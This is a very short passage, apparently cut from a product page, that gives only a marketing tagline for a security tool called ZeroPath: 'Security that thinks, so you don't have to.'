Understanding* **ZeroPath: Security that thinks, so you don't have to.**